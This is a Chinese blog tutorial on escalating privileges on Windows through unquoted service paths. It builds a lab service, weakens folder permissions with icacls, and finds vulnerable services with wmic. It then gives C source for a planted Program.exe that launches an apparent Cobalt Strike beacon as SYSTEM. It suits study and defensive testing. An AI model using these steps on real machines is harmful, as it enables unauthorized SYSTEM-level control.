windows提权-Tusted service path

Tusted service path提权

windows服务通常都是以System权限运行的,所以系统在解析服务的二进制文件对应的文件路径中的

空格的时候也会以系统权限进行解析。如果我们能利用这一特性,就有机会进行权限提升。

如果在注册表中存在没有被引用起来的服务路径 如果是 C:\Program Files\Some Folder\Service.exe 因为 Program Files Some Folder 都存在空格,就可能存在截断,依次寻找

如下的程序并且执行阶段如下:

C:\Program.exe

C:\Program Files\Some.exe

C:\Program Files\Some Folder\Service.exe

提权的条件如下:

  1. 路径没有被引号引起来
  2. 服务的路径存在空格
  3. 服务以最高权限启动
  4. 当前被控权限有对应目录下写文件的能力

配置一个tusted service path 提权环境

  1. 首先创建一个服务,路径中存在空格,且路径没有引号

sc create "service" binpath= "C:\Program Files\Common Files\service\service.exe"

start= auto 

并在对应目录创建service.exe服务

查询该服务(也可使用服务查询)

sc qc service

现在条件基本足够,还缺普通用户向文件下的写权限

权限查询,可以看到只有administrator和system有f 完全控制权

icacls "C:"

icacls "C:\Program Files"

icacls "C:\Program Files\Common Files"

此时提权,向program file目录写program.exe,

查询program file的权限,得到user组中只有读以及执行权限,没有写权限

icacls "C:\Program Files"

接下来给普通用户赋予写权限

r读 x执行 w写 f完全执行  m修改

icacls "C:" /grant "BUILTIN\Users":W

切换到web用户,假设cs已经上线

当前为web用户,且没有高权限

查找没有引号和带有空格的服务

wmic service get name,displayname,pathname,startmode | findstr /i "Auto" |

findstr /i /v "C:\\Windows\\" | findstr /i /v """

查找到service服务

查看是否有写权限

icacls "C:"

icacls "C:\Program Files"

icacls "C:\Program Files\Common Files"

可以看到web有f权限

制作一个Program.exe的恶意软件,将其放到c盘目录下进行提权(原理为前文的解析顺序)

Program.exe的源码

#include<stdio.h>

#include<stdlib.h>

int main(){

system("cmd.exe /c C:\\USERS\\web\\Desktop\\cs.exe");

return 0;

}

#执行命令,让program.exe运行,执行cs.exe,从而以system权限上线(目标机器重启后)

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值